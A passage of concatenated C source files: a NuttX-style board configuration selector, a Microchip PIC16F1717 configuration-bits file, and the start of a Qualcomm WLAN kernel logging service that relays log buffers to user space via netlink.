****************************************************************************/
typedef int (*direntcb_t)(const char *dirpath, struct dirent *entry,
void *arg);
/****************************************************************************
* Private Data
****************************************************************************/
#ifdef CONFIG_WINDOWS_NATIVE
static char g_delim = '\\'; /* Delimiter to use when forming paths */
#else
static char g_delim = '/'; /* Delimiter to use when forming paths */
#endif
static const char g_archdir[] = "arch"; /* Architecture directory */
static const char g_configdir[] = "boards"; /* Board configuration directory */
static char *g_arch[MAX_ARCHITECTURES]; /* List of architecture names */
static int g_narch; /* Number of architecture names */
static char *g_selected_arch; /* Selected architecture name */
static char *g_selected_family; /* Selected architecture family name */
static char *g_mcu[MAX_MCUS]; /* List of MCU names */
static int g_nmcu; /* Number of MCU names */
static char *g_selected_mcu; /* Selected MCU name */
static char *g_board[MAX_BOARDS]; /* List of board names */
static int g_nboard; /* Number of board names */
static char *g_selected_board; /* Selected board name */
static char g_line[MAX_LINE + 1]; /* Line read from config file */
/****************************************************************************
* Private Functions
****************************************************************************/
/****************************************************************************
* Name: skip_space
*
* Description:
* Skip over any spaces
*
****************************************************************************/
static char *skip_space(char *ptr)
{
while (*ptr && isspace((int)*ptr)) ptr++;
return ptr;
}
/****************************************************************************
* Name: find_name_end
*
* Description:
* Find the end of a variable string
*
****************************************************************************/
static char *find_name_end(char *ptr)
{
while (*ptr && (isalnum((int)*ptr) || *ptr == '_')) ptr++;
return ptr;
}
/****************************************************************************
* Name: find_value_end
*
* Description:
* Find the end of a value string
*
****************************************************************************/
static char *find_value_end(char *ptr)
{
while (*ptr && !isspace((int)*ptr))
{
if (*ptr == '"')
{
do ptr++; while (*ptr && *ptr != '"');
if (*ptr) ptr++;
}
else
{
do ptr++; while (*ptr && !isspace((int)*ptr) && *ptr != '"');
}
}
return ptr;
}
/****************************************************************************
* Name: read_line
*
* Description:
* Read the next line from the configuration file
*
****************************************************************************/
static char *read_line(FILE *stream)
{
char *ptr;
for (; ; )
{
g_line[MAX_LINE] = '\0';
if (!fgets(g_line, MAX_LINE, stream))
{
return NULL;
}
else
{
ptr = skip_space(g_line);
if (*ptr && *ptr != '#' && *ptr != '\n')
{
return ptr;
}
}
}
}
/****************************************************************************
* Name: parse_line
*
* Description:
* Parse the line from the configuration file into a variable name
* string and a value string.
*
****************************************************************************/
static void parse_line(char *ptr, char **varname, char **varval)
{
/* Skip over any leading spaces */
ptr = skip_space(ptr);
/* The first no-space is the beginning of the variable name */
*varname = skip_space(ptr);
*varval = NULL;
/* Parse to the end of the variable name */
ptr = find_name_end(ptr);
/* An equal sign is expected next, perhaps after some white space */
if (*ptr && *ptr != '=')
{
/* Some else follows the variable name. Terminate the variable
* name and skip over any spaces.
*/
*ptr = '\0';
ptr = skip_space(ptr + 1);
}
/* Verify that the equal sign is present */
if (*ptr == '=')
{
/* Make sure that the variable name is terminated (this was already
* done if the name was followed by white space.
*/
*ptr = '\0';
/* The variable value should follow =, perhaps separated by some
* white space.
*/
ptr = skip_space(ptr + 1);
if (*ptr)
{
/* Yes.. a variable follows. Save the pointer to the start
* of the variable string.
*/
*varval = ptr;
/* Find the end of the variable string and make sure that it
* is terminated.
*/
ptr = find_value_end(ptr);
*ptr = '\0';
}
}
}
/****************************************************************************
* Name: find_variable
*
* Description:
* Return true if the selected variable exists. Also return the value of
* the variable.
*
****************************************************************************/
static bool find_variable(const char *configpath, const char *varname,
char **varvalue)
{
FILE *stream;
char *tmpname;
char *tmpvalue;
char *ptr;
stream = fopen(configpath, "r");
if (!stream)
{
fprintf(stderr, "ERROR: failed to open %s for reading: %s\n",
configpath, strerror(errno));
exit(EXIT_FAILURE);
}
/* Loop until the entire file has been parsed. */
do
{
/* Read the next line from the file */
ptr = read_line(stream);
if (ptr)
{
/* Parse the line into a variable and a value field */
tmpname = NULL;
tmpvalue = NULL;
parse_line(ptr, &tmpname, &tmpvalue);
/* Make sure that both a variable name and value name were found. */
if (tmpname == NULL || tmpvalue == NULL)
{
continue;
}
/* Check if this the variable name and value we are looking for */
if (strcmp(varname, tmpname) == 0)
{
/* Yes.. return the value of the variable */
*varvalue = tmpvalue;
fclose(stream);
return true;
}
}
}
while (ptr);
/* Return failure */
fclose(stream);
return false;
}
/****************************************************************************
* Name: check_variable
*
* Description:
* Return true if the selected variable exists in the configuration file
* and has the specified value.
*
****************************************************************************/
static bool check_variable(const char *configpath, const char *varname,
const char *varvalue)
{
char *tmpvalue;
if (find_variable(configpath, varname, &tmpvalue))
{
/* The variable name exists. Does it have a value? Does the value
* match varvalue?
*/
if (tmpvalue != NULL && strcmp(varvalue, tmpvalue) == 0)
{
/* Yes.. return success */
return true;
}
}
/* Return failure */
return false;
}
/****************************************************************************
* Name: test_filepath
*
* Description:
* Test if a regular file exists at this path.
*
****************************************************************************/
static bool test_filepath(const char *filepath)
{
struct stat statbuf;
int ret;
ret = stat(filepath, &statbuf);
if (ret < 0)
{
return false;
}
return S_ISREG(statbuf.st_mode);
}
/****************************************************************************
* Name: test_dirpath
*
* Description:
* Test if a regular file exists at this path.
*
****************************************************************************/
static bool test_dirpath(const char *filepath)
{
struct stat statbuf;
int ret;
ret = stat(filepath, &statbuf);
if (ret < 0)
{
return false;
}
return S_ISDIR(statbuf.st_mode);
}
/****************************************************************************
* Name: foreach_dirent
*
* Description:
* Given a directory path, call the provided function for each entry in
* the directory.
*
****************************************************************************/
static int foreach_dirent(const char *dirpath, direntcb_t cb, void *arg)
{
DIR *dirp;
struct dirent *result;
struct dirent entry;
int ret;
dirp = opendir(dirpath);
if (dirp == NULL)
{
fprintf(stderr, "ERROR: Failed to open directory '%s': %s\n",
dirpath, strerror(errno));
exit(EXIT_FAILURE);
}
for (; ; )
{
ret = readdir_r(dirp, &entry, &result);
if (ret != 0)
{
fprintf(stderr,
"ERROR: Failed to reed directory '%s' entry: %s\n",
dirpath, strerror(ret));
closedir(dirp);
exit(EXIT_FAILURE);
}
if (result == NULL)
{
break;
}
/* Skip over the . and .. hard links */
if (strcmp(entry.d_name, ".") == 0 || strcmp(entry.d_name, "..") == 0)
{
continue;
}
ret = cb(dirpath, &entry, arg);
if (ret != 0)
{
break;
}
}
closedir(dirp);
return ret;
}
/****************************************************************************
* Name: enum_architectures
*
* Description:
* Enumerate all architecture directory names.
*
****************************************************************************/
static int enum_architectures(const char *dirpath, struct dirent *entry,
void *arg)
{
char *archpath;
char *testpath;
/* All architecture directories should contain a Kconfig file, an include/
* directory, and a src/ directory.
*/
asprintf(&archpath, "%s%c%s", dirpath, g_delim, entry->d_name);
asprintf(&testpath, "%s%cKconfig", archpath, g_delim);
if (test_filepath(testpath))
{
free(testpath);
asprintf(&testpath, "%s%cinclude", archpath, g_delim);
if (test_dirpath(testpath))
{
free(testpath);
asprintf(&testpath, "%s%csrc", archpath, g_delim);
if (test_dirpath(testpath))
{
if (g_narch >= MAX_ARCHITECTURES)
{
fprintf(stderr,
"ERROR: Too many architecture directories found\n");
exit(EXIT_FAILURE);
}
g_arch[g_narch] = strdup(entry->d_name);
g_narch++;
}
}
}
free(testpath);
free(archpath);
return 0;
}
/****************************************************************************
* Name: enum_mcus
*
* Description:
* Enumerate all MCU directory names.
*
****************************************************************************/
static int enum_mcus(const char *dirpath, struct dirent *entry, void *arg)
{
char *mcupath;
char *testpath;
/* All MCU directories should contain a Kconfig and a Make.defs file. */
asprintf(&mcupath, "%s%c%s", dirpath, g_delim, entry->d_name);
asprintf(&testpath, "%s%cKconfig", mcupath, g_delim);
if (test_filepath(testpath))
{
free(testpath);
asprintf(&testpath, "%s%cMake.defs", mcupath, g_delim);
if (test_filepath(testpath))
{
if (g_nmcu >= MAX_MCUS)
{
fprintf(stderr,
"ERROR: Too many MCU directories found\n");
exit(EXIT_FAILURE);
}
g_mcu[g_nmcu] = strdup(entry->d_name);
g_nmcu++;
}
}
free(testpath);
free(mcupath);
return 0;
}
/****************************************************************************
* Name: enum_board_configurations
*
* Description:
* Enumerate all configurations for boards find the configuration
* directory for the selected MCU.
*
****************************************************************************/
static int enum_board_configurations(const char *dirpath,
struct dirent *entry, void *arg)
{
char *configpath;
char *varvalue;
int ret = 0;
/* All board directories should contain a defconfig file. */
asprintf(&configpath, "%s%c%s%cdefconfig",
dirpath, g_delim, entry->d_name, g_delim);
if (test_filepath(configpath))
{
/* We don't want all board configurations, we only want the name of
* the board that includes a configuration with:
*
* CONFIG_ARCH_CHIP="xxxx"
*
* Where xxxx is the selected MCU name.
*/
asprintf(&varvalue, "\"%s\"", g_selected_mcu);
if (check_variable(configpath, "CONFIG_ARCH_CHIP", varvalue))
{
/* Found it... add the board name to the list of boards for the
* selected MCU.
*/
if (g_nboard >= MAX_BOARDS)
{
fprintf(stderr,
"ERROR: Too many board configurations found\n");
exit(EXIT_FAILURE);
}
g_board[g_nboard] = strdup(arg);
g_nboard++;
/* If we have not yet extracted the architecture family, then do
* that here.
*/
if (g_selected_family == NULL)
{
char *family;
if (find_variable(configpath, "CONFIG_ARCH_FAMILY", &family))
{
g_selected_family = strdup(family);
}
}
/* Stop the enumeration if we find a match. Continue if not...
* that is because one board might possible support multiple
* architectures.
*/
ret = 1;
}
free(varvalue);
}
free(configpath);
return ret;
}
/****************************************************************************
* Name: enum_boards
*
* Description:
* Enumerate all boards find the configuration directory for the selected
* MCU.
*
****************************************************************************/
static int enum_boards(const char *dirpath, struct dirent *entry, void *arg)
{
char *boardpath;
char *testpath;
/* All board directories should contain a Kconfig file, an include/
* directory, and a src/ directory.
*/
asprintf(&boardpath, "%s%c%s", dirpath, g_delim, entry->d_name);
asprintf(&testpath, "%s%cKconfig", boardpath, g_delim);
if (test_filepath(testpath))
{
free(testpath);
asprintf(&testpath, "%s%cinclude", boardpath, g_delim);
if (test_dirpath(testpath))
{
free(testpath);
asprintf(&testpath, "%s%csrc", boardpath, g_delim);
if (test_dirpath(testpath))
{
/* Enumerate the board configurations */
(void)foreach_dirent(boardpath, enum_board_configurations,
entry->d_name);
}
}
}
free(testpath);
free(boardpath);
return 0;
}
/****************************************************************************
* Name: list_select
*
* Description:
* Select one value from a list.
*
****************************************************************************/
char *list_select(char **list, unsigned nitems)
{
char ch;
int ndx;
int i;
/* Show the list */
for (i = 0, ch = '1'; i < nitems; i++)
{
printf(" %c. %s\n", ch, list[i]);
if (ch == '9')
{
ch = 'a';
}
else if (ch == 'z')
{
ch = 'A';
}
else
{
ch++;
}
}
for (; ; )
{
bool input = false;
printf("Enter [1");
if (nitems > 1)
{
printf("-%c", nitems >= 9 ? '9' : '0' + nitems);
if (nitems > 9)
{
printf(",a");
if (nitems > 10)
{
printf("-%c", 'a' + nitems - 10);
if (nitems > 35)
{
printf(",A");
if (nitems > 36)
{
printf("-%c", 'A' + nitems - 36);
}
}
}
}
}
printf("]: ");
do
{
ch = getchar();
if (ch >= '1' && ch <= '9')
{
ndx = ch - '1';
}
else if (ch >= 'a' && ch <= 'z')
{
ndx = ch - 'a' + 9;
}
else if (ch >= 'A' && ch <= 'Z')
{
ndx = ch - 'A' + 35;
}
else if (ch == '\n')
{
continue;
}
else
{
printf("Invalid selection: %c -- Try again\n", ch);
input = true;
continue;
}
if (ndx < nitems)
{
return list[ndx];
}
else
{
printf("Invalid selection: %c -- Try again\n", ch);
input = true;
}
}
while (!input);
}
}
/****************************************************************************
* Name: create_config
*
* Description:
* Generate a bogus .config file. There is only sufficient information
* in this bogus .config to estable the correct symbolic links.
*
****************************************************************************/
static void create_config(void)
{
FILE *stream;
stream = fopen(".config", "w");
if (!stream)
{
fprintf(stderr, "ERROR: failed to open .config for writing: %s\n",
strerror(errno));
exit(EXIT_FAILURE);
}
fprintf(stream, "CONFIG_ARCH=\"%s\"\n", g_selected_arch);
if (g_selected_family != NULL)
{
fprintf(stream, "CONFIG_ARCH_FAMILY=%s\n", g_selected_family);
}
fprintf(stream, "CONFIG_ARCH_CHIP=\"%s\"\n", g_selected_mcu);
fprintf(stream, "CONFIG_ARCH_BOARD=\"%s\"\n", g_selected_board);
fclose(stream);
}
/****************************************************************************
* Public Functions
****************************************************************************/
/****************************************************************************
* Name: main
*
* Description:
* Program entry point.
*
****************************************************************************/
int main(int argc, char **argv)
{
char *archpath;
/* Enumerate all of the architectures */
g_narch = 0;
foreach_dirent(g_archdir, enum_architectures, NULL);
/* Select an architecture */
printf("Select an architecture:\n");
g_selected_arch = list_select(g_arch, g_narch);
/* Enumerate the MCUs for the selected architecture */
g_nmcu = 0;
asprintf(&archpath, "%s%c%s%csrc",
g_archdir, g_delim, g_selected_arch, g_delim);
foreach_dirent(archpath, enum_mcus, NULL);
/* Select an MCU */
printf("Select an MCU for architecture=%s:\n", g_selected_arch);
g_selected_mcu = list_select(g_mcu, g_nmcu);
/* Enumerate the boards for the selected MCU */
g_nboard = 0;
foreach_dirent(g_configdir, enum_boards, NULL);
/* Select an board */
printf("Select a board for MCU=%s:\n", g_selected_mcu);
g_selected_board = list_select(g_board, g_nboard);
/* Then output a bogus .config file with enough information to establish
* the correct symbolic links
*/
create_config();
return 0;
}
|
the_stack_data/615707.c
|
/**
@Generated PIC10 / PIC12 / PIC16 / PIC18 MCUs Source File
@Company:
Microchip Technology Inc.
@File Name:
mcc.c
@Summary:
This is the device_config.c file generated using PIC10 / PIC12 / PIC16 / PIC18 MCUs
@Description:
This header file provides implementations for driver APIs for all modules selected in the GUI.
Generation Information :
Product Revision : PIC10 / PIC12 / PIC16 / PIC18 MCUs - 1.81.7
Device : PIC16F1717
Driver Version : 2.00
The generated drivers are tested against the following:
Compiler : XC8 2.31 and above or later
MPLAB : MPLAB X 5.45
*/
/*
(c) 2018 Microchip Technology Inc. and its subsidiaries.
Subject to your compliance with these terms, you may use Microchip software and any
derivatives exclusively with Microchip products. It is your responsibility to comply with third party
license terms applicable to your use of third party software (including open source software) that
may accompany Microchip software.
THIS SOFTWARE IS SUPPLIED BY MICROCHIP "AS IS". NO WARRANTIES, WHETHER
EXPRESS, IMPLIED OR STATUTORY, APPLY TO THIS SOFTWARE, INCLUDING ANY
IMPLIED WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY, AND FITNESS
FOR A PARTICULAR PURPOSE.
IN NO EVENT WILL MICROCHIP BE LIABLE FOR ANY INDIRECT, SPECIAL, PUNITIVE,
INCIDENTAL OR CONSEQUENTIAL LOSS, DAMAGE, COST OR EXPENSE OF ANY KIND
WHATSOEVER RELATED TO THE SOFTWARE, HOWEVER CAUSED, EVEN IF MICROCHIP
HAS BEEN ADVISED OF THE POSSIBILITY OR THE DAMAGES ARE FORESEEABLE. TO
THE FULLEST EXTENT ALLOWED BY LAW, MICROCHIP'S TOTAL LIABILITY ON ALL
CLAIMS IN ANY WAY RELATED TO THIS SOFTWARE WILL NOT EXCEED THE AMOUNT
OF FEES, IF ANY, THAT YOU HAVE PAID DIRECTLY TO MICROCHIP FOR THIS
SOFTWARE.
*/
// Configuration bits: selected in the GUI
// CONFIG1
#pragma config FOSC = INTOSC // Oscillator Selection Bits->INTOSC oscillator: I/O function on CLKIN pin
#pragma config WDTE = OFF // Watchdog Timer Enable->WDT disabled
#pragma config PWRTE = OFF // Power-up Timer Enable->PWRT disabled
#pragma config MCLRE = ON // MCLR Pin Function Select->MCLR/VPP pin function is MCLR
#pragma config CP = OFF // Flash Program Memory Code Protection->Program memory code protection is disabled
#pragma config BOREN = ON // Brown-out Reset Enable->Brown-out Reset enabled
#pragma config CLKOUTEN = OFF // Clock Out Enable->CLKOUT function is disabled. I/O or oscillator function on the CLKOUT pin
#pragma config IESO = ON // Internal/External Switchover Mode->Internal/External Switchover Mode is enabled
#pragma config FCMEN = ON // Fail-Safe Clock Monitor Enable->Fail-Safe Clock Monitor is enabled
// CONFIG2
#pragma config WRT = OFF // Flash Memory Self-Write Protection->Write protection off
#pragma config PPS1WAY = ON // Peripheral Pin Select one-way control->The PPSLOCK bit cannot be cleared once it is set by software
#pragma config ZCDDIS = ON // Zero-cross detect disable->Zero-cross detect circuit is disabled at POR and can be enabled with ZCDSEN bit.
#pragma config PLLEN = ON // Phase Lock Loop enable->4x PLL is always enabled
#pragma config STVREN = ON // Stack Overflow/Underflow Reset Enable->Stack Overflow or Underflow will cause a Reset
#pragma config BORV = LO // Brown-out Reset Voltage Selection->Brown-out Reset Voltage (Vbor), low trip point selected.
#pragma config LPBOR = OFF // Low-Power Brown Out Reset->Low-Power BOR is disabled
#pragma config LVP = ON // Low-Voltage Programming Enable->Low-voltage programming enabled
|
the_stack_data/6386766.c
|
/*
* Copyright (c) 2014-2015 The Linux Foundation. All rights reserved.
*
* Previously licensed under the ISC license by Qualcomm Atheros, Inc.
*
*
* Permission to use, copy, modify, and/or distribute this software for
* any purpose with or without fee is hereby granted, provided that the
* above copyright notice and this permission notice appear in all
* copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL
* WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE
* AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL
* DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR
* PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER
* TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
* PERFORMANCE OF THIS SOFTWARE.
*/
/*
* This file was originally distributed by Qualcomm Atheros, Inc.
* under proprietary terms before Copyright ownership was assigned
* to the Linux Foundation.
*/
/******************************************************************************
* wlan_logging_sock_svc.c
*
******************************************************************************/
#ifdef WLAN_LOGGING_SOCK_SVC_ENABLE
#include <vmalloc.h>
#include <wlan_nlink_srv.h>
#include <vos_status.h>
#include <vos_trace.h>
#include <wlan_nlink_common.h>
#include <wlan_logging_sock_svc.h>
#include <vos_types.h>
#include <vos_trace.h>
#include <kthread.h>
#include <adf_os_time.h>
#include "pktlog_ac.h"
#define LOGGING_TRACE(level, args...) \
VOS_TRACE(VOS_MODULE_ID_HDD, level, ## args)
/* Global variables */
#define ANI_NL_MSG_LOG_TYPE 89
#define ANI_NL_MSG_READY_IND_TYPE 90
#define MAX_LOGMSG_LENGTH 4096
#define HOST_LOG_DRIVER_MSG 0x001
#define HOST_LOG_PER_PKT_STATS 0x002
#define HOST_LOG_FW_FLUSH_COMPLETE 0x003
struct log_msg {
struct list_head node;
unsigned int radio;
unsigned int index;
/* indicates the current filled log length in logbuf */
unsigned int filled_length;
/*
* Buf to hold the log msg
* tAniHdr + log
*/
char logbuf[MAX_LOGMSG_LENGTH];
};
struct wlan_logging {
/* Log Fatal and ERROR to console */
bool log_fe_to_console;
/* Number of buffers to be used for logging */
int num_buf;
/* Lock to synchronize access to shared logging resource */
spinlock_t spin_lock;
/* Holds the free node which can be used for filling logs */
struct list_head free_list;
/* Holds the filled nodes which needs to be indicated to APP */
struct list_head filled_list;
/* Wait queue for Logger thread */
wait_queue_head_t wait_queue;
/* Logger thread */
struct task_struct *thread;
/* Logging thread sets this variable on exit */
struct completion shutdown_comp;
/* Indicates to logger thread to exit */
bool exit;
/* Holds number of dropped logs*/
unsigned int drop_count;
/* current logbuf to which the log will be filled to */
struct log_msg *pcur_node;
/* Event flag used for wakeup and post indication*/
unsigned long eventFlag;
/* Indicates logger thread is activated */
bool is_active;
/* Flush completion check */
bool is_flush_complete;
};
static struct wlan_logging gwlan_logging;
static struct log_msg *gplog_msg;
/* PID of the APP to log the message */
static int gapp_pid = INVALID_PID;
/* Utility function to send a netlink message to an application
* in user space
*/
static int wlan_send_sock_msg_to_app(tAniHdr *wmsg, int radio,
int src_mod, int pid)
{
int err = -1;
int payload_len;
int tot_msg_len;
tAniNlHdr *wnl = NULL;
struct sk_buff *skb;
struct nlmsghdr *nlh;
int wmsg_length = wmsg->length;
static int nlmsg_seq;
if (radio < 0 || radio > ANI_MAX_RADIOS) {
LOGGING_TRACE(VOS_TRACE_LEVEL_ERROR,
"%s: invalid radio id [%d]",
__func__, radio);
return -EINVAL;
}
payload_len = wmsg_length + sizeof(wnl->radio);
tot_msg_len = NLMSG_SPACE(payload_len);
skb = dev_alloc_skb(tot_msg_len);
if (skb == NULL) {
LOGGING_TRACE(VOS_TRACE_LEVEL_ERROR,
"%s: dev_alloc_skb() failed for msg size[%d]",
__func__, tot_msg_len);
return -ENOMEM;
}
nlh = nlmsg_put(skb, pid, nlmsg_seq++, src_mod, payload_len,
NLM_F_REQUEST);
if (NULL == nlh) {
LOGGING_TRACE(VOS_TRACE_LEVEL_ERROR,
"%s: nlmsg_put() failed for msg size[%d]",
__func__, tot_msg_len);
kfree_skb(skb);
return -ENOMEM;
}
wnl = (tAniNlHdr *) nlh;
wnl->radio = radio;
memcpy(&wnl->wmsg, wmsg, wmsg_length);
LOGGING_TRACE(VOS_TRACE_LEVEL_INFO,
"%s: Sending Msg Type [0x%X] to pid[%d]\n",
__func__, be16_to_cpu(wmsg->type), pid);
err = nl_srv_ucast(skb, pid, MSG_DONTWAIT);
return err;
}
/**
* is_data_path_module() - To check for a Datapath module
* @mod_id: Module id
*
* Checks if the input module id belongs to data path.
*
* Return: True if the module belongs to data path, false otherwise
*/
static bool is_data_path_module(VOS_MODULE_ID mod_id)
{
switch (mod_id) {
case VOS_MODULE_ID_HDD_DATA:
case VOS_MODULE_ID_HDD_SAP_DATA:
case VOS_MODULE_ID_HTC:
case VOS_MODULE_ID_TXRX:
case VOS_MODULE_ID_HIF:
case VOS_MODULE_ID_VOSS:
case VOS_MODULE_ID_TL:
return true;
default:
return false;
}
}
static void set_default_logtoapp_log_level(void)
{
int i;
/* module id 0 is reserved */
for (i = 1; i < VOS_MODULE_ID_MAX; i++) {
if (is_data_path_module(i))
vos_trace_set_module_trace_level(i,
VOS_DATA_PATH_TRACE_LEVEL);
else
vos_trace_setValue(i, VOS_TRACE_LEVEL_ALL, VOS_TRUE);
}
}
static void clear_default_logtoapp_log_level(void)
{
int module;
for (module = 0; module < VOS_MODULE_ID_MAX; module++) {
vos_trace_setValue(module, VOS_TRACE_LEVEL_NONE,
VOS_FALSE);
vos_trace_setValue(module, VOS_TRACE_LEVEL_FATAL,
VOS_TRUE);
vos_trace_setValue(module, VOS_TRACE_LEVEL_ERROR,
VOS_TRUE);
}
vos_trace_setValue(VOS_MODULE_ID_RSV3, VOS_TRACE_LEVEL_NONE,
VOS_FALSE);
vos_trace_setValue(VOS_MODULE_ID_RSV4, VOS_TRACE_LEVEL_NONE,
VOS_FALSE);
}
/* Need to call this with spin_lock acquired */
static int wlan_queue_logmsg_for_app(void)
{
char *ptr;
int ret = 0;
ptr = &gwlan_logging.pcur_node->logbuf[sizeof(tAniHdr)];
ptr[gwlan_logging.pcur_node->filled_length] = '\0';
*(unsigned short *)(gwlan_logging.pcur_node->logbuf) =
ANI_NL_MSG_LOG_TYPE;
*(unsigned short *)(gwlan_logging.pcur_node->logbuf + 2) =
gwlan_logging.pcur_node->filled_length;
list_add_tail(&gwlan_logging.pcur_node->node,
&gwlan_logging.filled_list);
if (!list_empty(&gwlan_logging.free_list)) {
/* Get buffer from free list */
gwlan_logging.pcur_node =
(struct log_msg *)(gwlan_logging.free_list.next);
list_del_init(gwlan_logging.free_list.next);
} else if (!list_empty(&gwlan_logging.filled_list)) {
/* Get buffer from filled list */
/* This condition will drop the packet from being
* indicated to app
*/
gwlan_logging.pcur_node =
(struct log_msg *)(gwlan_logging.filled_list.next);
++gwlan_logging.drop_count;
/* print every 64th drop count */
if (vos_is_multicast_logging() &&
(!(gwlan_logging.drop_count % 0x40))) {
pr_info("%s: drop_count = %u index = %d filled_length = %d\n",
__func__, gwlan_logging.drop_count,
gwlan_logging.pcur_node->index,
gwlan_logging.pcur_node->filled_length);
}
list_del_init(gwlan_logging.filled_list.next);
ret = 1;
}
/* Reset the current node values */
gwlan_logging.pcur_node->filled_length = 0;
return ret;
}
int wlan_log_to_user(VOS_TRACE_LEVEL log_level, char *to_be_sent, int length)
{
/* Add the current time stamp */
char *ptr;
char tbuf[50];
int tlen;
int total_log_len;
unsigned int *pfilled_length;
bool wake_up_thread = false;
unsigned long flags;
uint64_t ts;
uint32_t rem;
if (!vos_is_multicast_logging()) {
/*
* This is to make sure that we print the logs to kmsg console
* when no logger app is running. This is also needed to
* log the initial messages during loading of driver where even
* if app is running it will not be able to
* register with driver immediately and start logging all the
* messages.
*/
pr_info("%s\n", to_be_sent);
} else {
/* Format the Log time [Seconds.microseconds] */
ts = adf_get_boottime();
rem = do_div(ts, VOS_TIMER_TO_SEC_UNIT);
tlen = snprintf(tbuf, sizeof(tbuf), "[%s][%lu.%06lu] ",
current->comm,
(unsigned long) ts, (unsigned long)rem);
/* 1+1 indicate '\n'+'\0' */
total_log_len = length + tlen + 1 + 1;
spin_lock_irqsave(&gwlan_logging.spin_lock, flags);
// wlan logging svc resources are not yet initialized
if (!gwlan_logging.pcur_node) {
spin_unlock_irqrestore(&gwlan_logging.spin_lock, flags);
return -EIO;
}
pfilled_length = &gwlan_logging.pcur_node->filled_length;
/* Check if we can accomodate more log into current
* node/buffer
*/
if ((MAX_LOGMSG_LENGTH <= (*pfilled_length +
sizeof(tAniNlHdr))) ||
((MAX_LOGMSG_LENGTH - (*pfilled_length +
sizeof(tAniNlHdr))) < total_log_len)) {
wake_up_thread = true;
wlan_queue_logmsg_for_app();
pfilled_length =
&gwlan_logging.pcur_node->filled_length;
}
ptr = &gwlan_logging.pcur_node->logbuf[sizeof(tAniHdr)];
/* Assumption here is that we receive logs which is always
* less than MAX_LOGMSG_LENGTH, where we can accomodate the
* tAniNlHdr + [context][timestamp] + log
* VOS_ASSERT if we cannot accomodate the the complete log into
* the available buffer.
*
* Continue and copy logs to the available length and
* discard the rest.
*/
if (MAX_LOGMSG_LENGTH < (sizeof(tAniNlHdr) + total_log_len)) {
VOS_ASSERT(0);
total_log_len = MAX_LOGMSG_LENGTH -
sizeof(tAniNlHdr) - 2;
}
memcpy(&ptr[*pfilled_length], tbuf, tlen);
memcpy(&ptr[*pfilled_length + tlen], to_be_sent,
min(length, (total_log_len - tlen)));
*pfilled_length += tlen + min(length, total_log_len - tlen);
ptr[*pfilled_length] = '\n';
*pfilled_length += 1;
spin_unlock_irqrestore(&gwlan_logging.spin_lock, flags);
/* Wakeup logger thread */
if ((true == wake_up_thread)) {
/* If there is logger app registered wakeup the logging
* thread (or) if always multicasting of host messages
* is enabled, wake up the logging thread
*/
set_bit(HOST_LOG_DRIVER_MSG, &gwlan_logging.eventFlag);
wake_up_interruptible(&gwlan_logging.wait_queue);
}
if (gwlan_logging.log_fe_to_console
&& ((VOS_TRACE_LEVEL_FATAL == log_level)
|| (VOS_TRACE_LEVEL_ERROR == log_level))) {
pr_info("%s\n", to_be_sent);
}
}
return 0;
}
static int send_filled_buffers_to_user(void)
{
int ret = -1;
struct log_msg *plog_msg;
int payload_len;
int tot_msg_len;
tAniNlHdr *wnl;
struct sk_buff *skb = NULL;
struct nlmsghdr *nlh;
static int nlmsg_seq;
unsigned long flags;
static int rate_limit;
while (!list_empty(&gwlan_logging.filled_list)
&& !gwlan_logging.exit) {
skb = dev_alloc_skb(MAX_LOGMSG_LENGTH);
if (skb == NULL) {
if (!rate_limit) {
pr_err("%s: dev_alloc_skb() failed for msg size[%d] drop count = %u\n",
__func__, MAX_LOGMSG_LENGTH,
gwlan_logging.drop_count);
}
rate_limit = 1;
ret = -ENOMEM;
break;
}
rate_limit = 0;
spin_lock_irqsave(&gwlan_logging.spin_lock, flags);
plog_msg = (struct log_msg *)
(gwlan_logging.filled_list.next);
list_del_init(gwlan_logging.filled_list.next);
spin_unlock_irqrestore(&gwlan_logging.spin_lock, flags);
/* 4 extra bytes for the radio idx */
payload_len = plog_msg->filled_length +
sizeof(wnl->radio) + sizeof(tAniHdr);
tot_msg_len = NLMSG_SPACE(payload_len);
nlh = nlmsg_put(skb, 0, nlmsg_seq++,
ANI_NL_MSG_LOG, payload_len,
NLM_F_REQUEST);
if (NULL == nlh) {
spin_lock_irqsave(&gwlan_logging.spin_lock, flags);
list_add_tail(&plog_msg->node,
&gwlan_logging.free_list);
spin_unlock_irqrestore(&gwlan_logging.spin_lock,
flags);
pr_err("%s: drop_count = %u\n", __func__,
++gwlan_logging.drop_count);
pr_err("%s: nlmsg_put() failed for msg size[%d]\n",
__func__, tot_msg_len);
dev_kfree_skb(skb);
skb = NULL;
ret = -EINVAL;
continue;
}
wnl = (tAniNlHdr *) nlh;
wnl->radio = plog_msg->radio;
memcpy(&wnl->wmsg, plog_msg->logbuf,
plog_msg->filled_length +
sizeof(tAniHdr));
spin_lock_irqsave(&gwlan_logging.spin_lock, flags);
list_add_tail(&plog_msg->node,
&gwlan_logging.free_list);
spin_unlock_irqrestore(&gwlan_logging.spin_lock, flags);
ret = nl_srv_bcast(skb);
/* print every 64th drop count */
if (ret < 0 && (!(gwlan_logging.drop_count % 0x40))) {
pr_err("%s: Send Failed %d drop_count = %u\n",
__func__, ret, ++gwlan_logging.drop_count);
skb = NULL;
} else {
skb = NULL;
ret = 0;
}
}
return ret;
}
#ifdef FEATURE_WLAN_DIAG_SUPPORT
/**
* wlan_report_log_completion() - Report bug report completion to userspace
* @is_fatal: Type of event, fatal or not
* @indicator: Source of bug report, framework/host/firmware
* @reason_code: Reason for triggering bug report
*
* This function is used to report the bug report completion to userspace
*
* Return: None
*/
void wlan_report_log_completion(uint32_t is_fatal,
uint32_t indicator,
uint32_t reason_code)
{
WLAN_VOS_DIAG_EVENT_DEF(wlan_diag_event,
struct vos_event_wlan_log_complete);
wlan_diag_event.is_fatal = is_fatal;
wlan_diag_event.indicator = indicator;
wlan_diag_event.reason_code = reason_code;
wlan_diag_event.reserved = 0;
